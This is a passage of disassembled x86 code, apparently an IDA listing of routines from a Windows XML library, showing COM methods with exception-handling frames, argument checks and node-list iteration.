mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B5506B
mov ebx, 80070057h
jmp short loc_69B550AE
; ---------------------------------------------------------------------------
loc_69B5506B: ; CODE XREF: sub_69B55024+3Ej
mov [ebp-4], ebx
mov esi, [esi+40h]
mov [ebp-2Ch], esi
cmp esi, ebx
jz short loc_69B55086
mov [ebp-30h], esi
mov ecx, esi
call sub_69B2F352
mov [edi], eax
jmp short loc_69B550AA
; ---------------------------------------------------------------------------
loc_69B55086: ; CODE XREF: sub_69B55024+52j
mov [edi], ebx
jmp short loc_69B550AA
; ---------------------------------------------------------------------------
loc_69B5508A: ; DATA XREF: .text:69B550D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55093: ; DATA XREF: .text:69B550D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B550AA: ; CODE XREF: sub_69B55024+60j
; sub_69B55024+64j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B550AE: ; CODE XREF: sub_69B55024+45j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B550C1: ; CODE XREF: sub_69B55024+20j
call sub_69B1853C
retn 8
sub_69B55024 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B550D0 dd 0FFFFFFFFh dd offset loc_69B5508A
dd offset loc_69B55093
; =============== S U B R O U T I N E =======================================
sub_69B550DC proc near ; DATA XREF: .text:69B125E0o
push 20h
push offset dword_69B55180
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B550FC
mov eax, 80004005h
jmp short loc_69B55175
; ---------------------------------------------------------------------------
loc_69B550FC: ; CODE XREF: sub_69B550DC+17j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov eax, [ebp+0Ch]
test eax, eax
jnz short loc_69B55121
mov esi, 80070057h
jmp short loc_69B55162
; ---------------------------------------------------------------------------
loc_69B55121: ; CODE XREF: sub_69B550DC+3Cj
and dword ptr [ebp-4], 0
and dword ptr [eax], 0
mov ecx, [esi+3Ch]
mov [ebp-2Ch], ecx
push eax
push ecx
mov ecx, esi
call sub_69B54DBE
mov esi, eax
mov [ebp-30h], esi
jmp short loc_69B5515E
; ---------------------------------------------------------------------------
loc_69B5513E: ; DATA XREF: .text:69B55184o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55147: ; DATA XREF: .text:69B55188o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B5515E: ; CODE XREF: sub_69B550DC+60j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B55162: ; CODE XREF: sub_69B550DC+43j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B55175: ; CODE XREF: sub_69B550DC+1Ej
call sub_69B1853C
retn 8
sub_69B550DC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B55180 dd 0FFFFFFFFh dd offset loc_69B5513E
dd offset loc_69B55147
; =============== S U B R O U T I N E =======================================
sub_69B5518C proc near ; DATA XREF: .text:69B125ECo
push 2Ch
push offset dword_69B55290
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B551B1
mov eax, 80004005h
jmp loc_69B55283
; ---------------------------------------------------------------------------
loc_69B551B1: ; CODE XREF: sub_69B5518C+19j
mov esi, [ebp+8]
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B551DE
mov dword ptr [ebp-2Ch], 80070057h
jmp loc_69B5526F
; ---------------------------------------------------------------------------
loc_69B551DE: ; CODE XREF: sub_69B5518C+44j
mov [ebp-4], ebx
mov [ebp-30h], ebx
mov eax, [esi+24h]
mov [ebp-34h], eax
cmp eax, ebx
jz short loc_69B5523B
push dword ptr [ebp+0Ch]
call sub_69B48A77
mov ebx, eax
mov [ebp-38h], ebx
test ebx, ebx
jz short loc_69B5522B
mov ecx, ebx
call sub_69B1B42A
mov ecx, edi
mov [ebp-3Ch], eax
call sub_69B87FDC
mov ecx, [ebp-3Ch]
cmp ecx, eax
jz short loc_69B5522B
push 0
push 0C00CE21Bh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B5522B: ; CODE XREF: sub_69B5518C+71j
; sub_69B5518C+89j
mov ecx, [esi+24h]
mov eax, [ecx]
push ebx
push 0
push 0
call dword ptr [eax+4Ch]
mov [ebp-30h], eax
loc_69B5523B: ; CODE XREF: sub_69B5518C+60j
push dword ptr [ebp+10h]
push dword ptr [ebp-30h]
mov ecx, esi
call sub_69B54DBE
jmp short loc_69B5526B
; ---------------------------------------------------------------------------
loc_69B5524A: ; DATA XREF: .text:69B55294o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55253: ; DATA XREF: .text:69B55298o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
loc_69B5526B: ; CODE XREF: sub_69B5518C+BCj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5526F: ; CODE XREF: sub_69B5518C+4Dj
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B55283: ; CODE XREF: sub_69B5518C+20j
call sub_69B1853C
retn 0Ch
sub_69B5518C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B55290 dd 0FFFFFFFFh dd offset loc_69B5524A
dd offset loc_69B55253
; =============== S U B R O U T I N E =======================================
sub_69B5529C proc near ; DATA XREF: .text:69B125FCo
push 1Ch
push offset dword_69B55358
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B552C1
mov eax, 80004005h
jmp loc_69B5534E
; ---------------------------------------------------------------------------
loc_69B552C1: ; CODE XREF: sub_69B5529C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
cmp [ebp+10h], edi
jnz short loc_69B552E4
mov edi, 80070057h
jmp short loc_69B5533B
; ---------------------------------------------------------------------------
loc_69B552E4: ; CODE XREF: sub_69B5529C+3Fj
mov [ebp-4], edi
push dword ptr [ebp+0Ch] ; psz1
call sub_69B8A606
mov [ebp-2Ch], eax
dec eax
jz short loc_69B5530A
push edi
push 0C00CE21Dh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B55337
; ---------------------------------------------------------------------------
loc_69B5530A: ; CODE XREF: sub_69B5529C+57j
push dword ptr [esi+38h] ; int
push dword ptr [ebp+10h] ; pvarg
call sub_69B8A5D5
jmp short loc_69B55337
; ---------------------------------------------------------------------------
loc_69B55317: ; DATA XREF: .text:69B5535Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55320: ; DATA XREF: .text:69B55360o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B55337: ; CODE XREF: sub_69B5529C+6Cj
; sub_69B5529C+79j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5533B: ; CODE XREF: sub_69B5529C+46j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B5534E: ; CODE XREF: sub_69B5529C+20j
call sub_69B1853C
retn 0Ch
sub_69B5529C endp
; ---------------------------------------------------------------------------
align 4
dword_69B55358 dd 0FFFFFFFFh dd offset loc_69B55317
dd offset loc_69B55320
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55364 proc near ; DATA XREF: .text:off_69B28018o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_69B55385
lea eax, [ebp+arg_0]
push eax
push [ebp+arg_0]
add ecx, 0FFFFFFE4h
call sub_69B54DBE
test eax, eax
jnz short loc_69B55385
mov eax, [ebp+arg_0]
jmp short loc_69B55387
; ---------------------------------------------------------------------------
loc_69B55385: ; CODE XREF: sub_69B55364+7j
; sub_69B55364+1Aj
xor eax, eax
loc_69B55387: ; CODE XREF: sub_69B55364+1Fj
pop ebp
retn 4
sub_69B55364 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5538B(LPCWSTR lpString, int)
sub_69B5538B proc near ; CODE XREF: sub_69B5545F+10p
; sub_69B55483+4Ep ...
lpString = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+lpString]
test ebx, ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
mov esi, ecx
jnz short loc_69B553A8
test edi, edi
jnz short loc_69B553A5
mov edi, offset off_69B1A5AC
loc_69B553A5: ; CODE XREF: sub_69B5538B+13j
mov ebx, [edi+0Ch]
loc_69B553A8: ; CODE XREF: sub_69B5538B+Fj
cmp dword ptr [esi+38h], 1
push 1
setz al
push eax
push ebx
push 0
call sub_69B5FFCF
push eax
lea eax, [esi+24h]
push eax
call sub_69B17320
test edi, edi
jz short loc_69B553CC
mov eax, edi
jmp short loc_69B553D2
; ---------------------------------------------------------------------------
loc_69B553CC: ; CODE XREF: sub_69B5538B+3Bj
push ebx ; lpString
call sub_69B1A587
loc_69B553D2: ; CODE XREF: sub_69B5538B+3Fj
push eax
add esi, 40h
push esi
call sub_69B17320
pop edi
pop esi
pop ebx
retn 8
sub_69B5538B endp
; =============== S U B R O U T I N E =======================================
sub_69B553E2 proc near ; CODE XREF: sub_69B5545F+1Bp
; sub_69B55483+63p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B55419
push ebx
lea ecx, [esi+0Ch]
call sub_69B87FDC
mov ecx, edi
mov ebx, eax
call sub_69B1B42A
cmp eax, ebx
pop ebx
jz short loc_69B55419
push 0
push 0C00CE21Bh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B55419: ; CODE XREF: sub_69B553E2+Aj
; sub_69B553E2+21j
mov ecx, [esi+24h]
mov eax, [ecx]
push 1
push edi
push 0
call dword ptr [eax+48h]
push edi
lea eax, [esi+3Ch]
push eax
call sub_69B17320
test edi, edi
jz short loc_69B55440
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
jmp short loc_69B55442
; ---------------------------------------------------------------------------
loc_69B55440: ; CODE XREF: sub_69B553E2+50j
xor eax, eax
loc_69B55442: ; CODE XREF: sub_69B553E2+5Cj
add esi, 34h
test eax, eax
jz short loc_69B5544E
push dword ptr [eax+3Ch]
jmp short loc_69B55454
; ---------------------------------------------------------------------------
loc_69B5544E: ; CODE XREF: sub_69B553E2+65j
push dword_69B929E8
loc_69B55454: ; CODE XREF: sub_69B553E2+6Aj
push esi
call sub_69B17320
pop edi
pop esi
retn 4
sub_69B553E2 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5545F(LPCWSTR lpString, int, int)
sub_69B5545F proc near ; CODE XREF: sub_69B42C6C+76p
lpString = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push esi
push 0 ; int
push [esp+8+lpString] ; lpString
mov esi, ecx
mov [esi+38h], eax
call sub_69B5538B
push [esp+4+arg_4]
mov ecx, esi
call sub_69B553E2
pop esi
retn 0Ch
sub_69B5545F endp
; =============== S U B R O U T I N E =======================================
sub_69B55483 proc near ; DATA XREF: .text:69B125DCo
push 1Ch
push offset dword_69B55530
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B554A5
mov eax, 80004005h
jmp short loc_69B55524
; ---------------------------------------------------------------------------
loc_69B554A5: ; CODE XREF: sub_69B55483+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
cmp [ebp+0Ch], edi
jnz short loc_69B554C8
mov edi, 80070057h
jmp short loc_69B55511
; ---------------------------------------------------------------------------
loc_69B554C8: ; CODE XREF: sub_69B55483+3Cj
mov [ebp-4], edi
push edi ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B5538B
mov ecx, esi
call sub_69B54DEB
mov eax, [esi+3Ch]
mov [ebp-2Ch], eax
push eax
mov ecx, esi
call sub_69B553E2
jmp short loc_69B5550D
; ---------------------------------------------------------------------------
loc_69B554ED: ; DATA XREF: .text:69B55534o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B554F6: ; DATA XREF: .text:69B55538o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5550D: ; CODE XREF: sub_69B55483+68j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B55511: ; CODE XREF: sub_69B55483+43j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B55524: ; CODE XREF: sub_69B55483+20j
call sub_69B1853C
retn 8
sub_69B55483 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B55530 dd 0FFFFFFFFh dd offset loc_69B554ED
dd offset loc_69B554F6
; =============== S U B R O U T I N E =======================================
sub_69B5553C proc near ; DATA XREF: .text:69B125E4o
push 1Ch
push offset dword_69B555E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B5555E
mov eax, 80004005h
jmp short loc_69B555D2
; ---------------------------------------------------------------------------
loc_69B5555E: ; CODE XREF: sub_69B5553C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
xor eax, eax
mov [ebp-4], edi
cmp [ebp+0Ch], edi
jz short loc_69B5558A
push dword ptr [ebp+0Ch]
call sub_69B48A77
mov [ebp-2Ch], eax
loc_69B5558A: ; CODE XREF: sub_69B5553C+41j
push eax
mov ecx, esi
call sub_69B553E2
mov ecx, esi
call sub_69B54DEB
jmp short loc_69B555BB
; ---------------------------------------------------------------------------
loc_69B5559B: ; DATA XREF: .text:69B555E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B555A4: ; DATA XREF: .text:69B555E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B555BB: ; CODE XREF: sub_69B5553C+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B555D2: ; CODE XREF: sub_69B5553C+20j
call sub_69B1853C
retn 8
sub_69B5553C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B555E0 dd 0FFFFFFFFh dd offset loc_69B5559B
dd offset loc_69B555A4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B555EC proc near ; CODE XREF: sub_69B5562F+4Dp
; sub_69B55773+7Ep ...
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp byte ptr [esi+2Ch], 0
jnz short loc_69B55629
lea ecx, [ebp+var_4]
call sub_69B47D22
mov ecx, [esi+24h]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jz short loc_69B5561D
mov ecx, [esi+28h]
push edi
call sub_69B8A35C
jmp short loc_69B55621
; ---------------------------------------------------------------------------
loc_69B5561D: ; CODE XREF: sub_69B555EC+24j
mov byte ptr [esi+2Ch], 1
loc_69B55621: ; CODE XREF: sub_69B555EC+2Fj
lea ecx, [ebp+var_4]
call sub_69B47D46
loc_69B55629: ; CODE XREF: sub_69B555EC+Ej
mov eax, edi
pop edi
pop esi
leave
retn
sub_69B555EC endp
; =============== S U B R O U T I N E =======================================
sub_69B5562F proc near ; CODE XREF: sub_69B42C6C+4Cp
; sub_69B63F7F+26p
push 28h
push offset dword_69B55708
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-4], ebx
push 44h
call sub_69B1D897
mov ecx, eax
mov [ebp-20h], ecx
cmp ecx, ebx
jz short loc_69B5565A
call sub_69B4399D
jmp short loc_69B5565C
; ---------------------------------------------------------------------------
loc_69B5565A: ; CODE XREF: sub_69B5562F+22j
xor eax, eax
loc_69B5565C: ; CODE XREF: sub_69B5562F+29j
mov esi, eax
mov [ebp-1Ch], esi
cmp [ebp+8], ebx
jz loc_69B556F4
push dword ptr [ebp+8]
lea ecx, [esi+24h]
call sub_69B199CC
loc_69B55675: ; CODE XREF: sub_69B5562F+52j
cmp [esi+2Ch], bl
jnz short loc_69B55683
mov ecx, esi
call sub_69B555EC
jmp short loc_69B55675
; ---------------------------------------------------------------------------
loc_69B55683: ; CODE XREF: sub_69B5562F+49j
mov ecx, [esi+28h]
mov [ebp-24h], ecx
mov eax, [ecx+0Ch]
mov [ebp-28h], eax
cmp eax, ebx
jz short loc_69B5569B
push ebx
call sub_69B8A163
jmp short loc_69B5569D
; ---------------------------------------------------------------------------
loc_69B5569B: ; CODE XREF: sub_69B5562F+62j
xor eax, eax
loc_69B5569D: ; CODE XREF: sub_69B5562F+6Aj
mov ecx, eax
mov [ebp-2Ch], ecx
cmp ecx, ebx
jz short loc_69B556B9
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov [ebp-30h], eax
mov eax, [eax+3Ch]
mov [ebp-34h], eax
jmp short loc_69B556BE
; ---------------------------------------------------------------------------
loc_69B556B9: ; CODE XREF: sub_69B5562F+75j
mov eax, dword_69B929E8
loc_69B556BE: ; CODE XREF: sub_69B5562F+88j
push eax
lea ecx, [esi+34h]
call sub_69B199CC
lea eax, [esi+24h]
mov [ebp-38h], eax
push ebx
push eax
call sub_69B17320
jmp short loc_69B556F4
; ---------------------------------------------------------------------------
loc_69B556D6: ; DATA XREF: .text:69B5570Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B556DF: ; DATA XREF: .text:69B55710o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
test esi, esi
jz short loc_69B556EF
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B556EF: ; CODE XREF: sub_69B5562F+B8j
call sub_69B2E860
loc_69B556F4: ; CODE XREF: sub_69B5562F+35j
; sub_69B5562F+A5j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
call sub_69B1853C
retn 4
sub_69B5562F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B55708 dd 0FFFFFFFFh dd offset loc_69B556D6
dd offset loc_69B556DF
; =============== S U B R O U T I N E =======================================
sub_69B55714 proc near ; CODE XREF: .text:69B43A07p
push esi
mov esi, ecx
lea eax, [esi+34h]
push eax
mov dword ptr [esi-0Ch], offset off_69B125A8
mov dword ptr [esi-8], offset off_69B28068
mov dword ptr [esi], offset off_69B28064
mov dword ptr [esi+0Ch], offset off_69B28028
mov dword ptr [esi+10h], offset off_69B28018
mov dword ptr [esi+14h], offset off_69B28008
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
add esi, 18h
push esi
call sub_69B17230
pop esi
jmp sub_69B2C65C
sub_69B55714 endp
; =============== S U B R O U T I N E =======================================
sub_69B55773 proc near ; DATA XREF: .text:69B125C8o
push 34h
push offset dword_69B55860
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B55798
mov eax, 80004005h
jmp loc_69B55852
; ---------------------------------------------------------------------------
loc_69B55798: ; CODE XREF: sub_69B55773+19j
mov esi, [ebp+8]
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B557C0
mov eax, [ecx]
call dword ptr [eax+0B4h]
jmp short loc_69B557C2
; ---------------------------------------------------------------------------
loc_69B557C0: ; CODE XREF: sub_69B55773+41j
xor eax, eax
loc_69B557C2: ; CODE XREF: sub_69B55773+4Bj
push eax
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp-38h]
call sub_69B3B332
mov edi, [ebp+0Ch]
test edi, edi
jnz short loc_69B557E2
mov esi, 80070057h
jmp short loc_69B55831
; ---------------------------------------------------------------------------
loc_69B557E2: ; CODE XREF: sub_69B55773+66j
and dword ptr [edi], 0
and dword ptr [ebp-4], 0
loc_69B557E9: ; CODE XREF: sub_69B55773+83j
cmp byte ptr [esi+2Ch], 0
jnz short loc_69B557F8
mov ecx, esi
call sub_69B555EC
jmp short loc_69B557E9
; ---------------------------------------------------------------------------
loc_69B557F8: ; CODE XREF: sub_69B55773+7Aj
mov esi, [esi+28h]
mov [ebp-3Ch], esi
mov esi, [esi+0Ch]
mov [ebp-40h], esi
mov [edi], esi
xor esi, esi
mov [ebp-44h], esi
jmp short loc_69B5582D
; ---------------------------------------------------------------------------
loc_69B5580D: ; DATA XREF: .text:69B55864o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55816: ; DATA XREF: .text:69B55868o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B5582D: ; CODE XREF: sub_69B55773+98j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B55831: ; CODE XREF: sub_69B55773+6Dj
lea ecx, [ebp-38h]
call sub_69B18EBA
lea ecx, [ebp-28h]
call sub_69B1976C
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B55850
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B55850: ; CODE XREF: sub_69B55773+D2j
mov eax, esi
loc_69B55852: ; CODE XREF: sub_69B55773+20j
call sub_69B1853C
retn 8
sub_69B55773 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B55860 dd 0FFFFFFFFh dd offset loc_69B5580D
dd offset loc_69B55816
; =============== S U B R O U T I N E =======================================
sub_69B5586C proc near ; CODE XREF: sub_69B558B9+2Bp
; sub_69B55AD3+Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jl short loc_69B558B2
cmp byte ptr [esi+2Ch], 0
jnz short loc_69B55898
push ebx
lea ebx, [edi+1]
loc_69B55882: ; CODE XREF: sub_69B5586C+29j
mov eax, [esi+28h]
cmp ebx, [eax+0Ch]
jl short loc_69B55897
mov ecx, esi
call sub_69B555EC
cmp byte ptr [esi+2Ch], 0
jz short loc_69B55882
loc_69B55897: ; CODE XREF: sub_69B5586C+1Cj
pop ebx
loc_69B55898: ; CODE XREF: sub_69B5586C+10j
mov ecx, [esi+28h]
cmp edi, [ecx+0Ch]
jge short loc_69B558B2
push edi
call sub_69B8A163
cmp [esp+8+arg_4], 0
jnz short loc_69B558B4
mov [esi+30h], edi
jmp short loc_69B558B4
; ---------------------------------------------------------------------------
loc_69B558B2: ; CODE XREF: sub_69B5586C+Aj
; sub_69B5586C+32j
xor eax, eax
loc_69B558B4: ; CODE XREF: sub_69B5586C+3Fj
; sub_69B5586C+44j
pop edi
pop esi
retn 8
sub_69B5586C endp
; =============== S U B R O U T I N E =======================================
sub_69B558B9 proc near ; CODE XREF: sub_69B55934+62p
; sub_69B559BD+64p ...
push 10h
push offset dword_69B55928
call sub_69B19C5C
mov edi, ecx
mov esi, [ebp+0Ch]
test esi, esi
jnz short loc_69B558D5
mov eax, 80070057h
jmp short loc_69B5591C
; ---------------------------------------------------------------------------
loc_69B558D5: ; CODE XREF: sub_69B558B9+13j
and dword ptr [ebp-4], 0
and dword ptr [esi], 0
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
mov ecx, edi
call sub_69B5586C
mov [ebp-1Ch], eax
push esi
push eax
mov ecx, edi
call sub_69B54DBE
mov [ebp-20h], eax
jmp short loc_69B55918
; ---------------------------------------------------------------------------
loc_69B558FA: ; DATA XREF: .text:69B5592Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55903: ; DATA XREF: .text:69B55930o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B55918: ; CODE XREF: sub_69B558B9+3Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5591C: ; CODE XREF: sub_69B558B9+1Aj
call sub_69B1853C
retn 0Ch
sub_69B558B9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B55928 dd 0FFFFFFFFh dd offset loc_69B558FA
dd offset loc_69B55903
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55934 proc near ; DATA XREF: .text:69B125C4o
var_1C = byte ptr -1Ch
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B5594E
mov eax, 80004005h
jmp short loc_69B559B8
; ---------------------------------------------------------------------------
loc_69B5594E: ; CODE XREF: sub_69B55934+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B55978
mov eax, [ecx]
call dword ptr [eax+0B4h]
jmp short loc_69B5597A
; ---------------------------------------------------------------------------
loc_69B55978: ; CODE XREF: sub_69B55934+38j
xor eax, eax
loc_69B5597A: ; CODE XREF: sub_69B55934+42j
push eax
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_1C]
call sub_69B3B332
push 0
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
call sub_69B558B9
lea ecx, [ebp+var_1C]
mov esi, eax
call sub_69B18EBA
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B559B8: ; CODE XREF: sub_69B55934+18j
pop ebx
leave
retn 0Ch
sub_69B55934 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B559BD proc near ; DATA XREF: .text:69B125CCo
var_1C = byte ptr -1Ch
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B559D7
mov eax, 80004005h
jmp short loc_69B55A43
; ---------------------------------------------------------------------------
loc_69B559D7: ; CODE XREF: sub_69B559BD+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B55A01
mov eax, [ecx]
call dword ptr [eax+0B4h]
jmp short loc_69B55A03
; ---------------------------------------------------------------------------
loc_69B55A01: ; CODE XREF: sub_69B559BD+38j
xor eax, eax
loc_69B55A03: ; CODE XREF: sub_69B559BD+42j
push eax
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_1C]
call sub_69B3B332
mov eax, [esi+30h]
push 0
push [ebp+arg_4]
inc eax
push eax
mov ecx, esi
call sub_69B558B9
lea ecx, [ebp+var_1C]
mov esi, eax
call sub_69B18EBA
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B55A43: ; CODE XREF: sub_69B559BD+18j
pop ebx
leave
retn 8
sub_69B559BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55A48 proc near ; DATA XREF: .text:69B125E8o
var_1C = byte ptr -1Ch
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B55A62
mov eax, 80004005h
jmp short loc_69B55ACE
; ---------------------------------------------------------------------------
loc_69B55A62: ; CODE XREF: sub_69B55A48+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B55A8C
mov eax, [ecx]
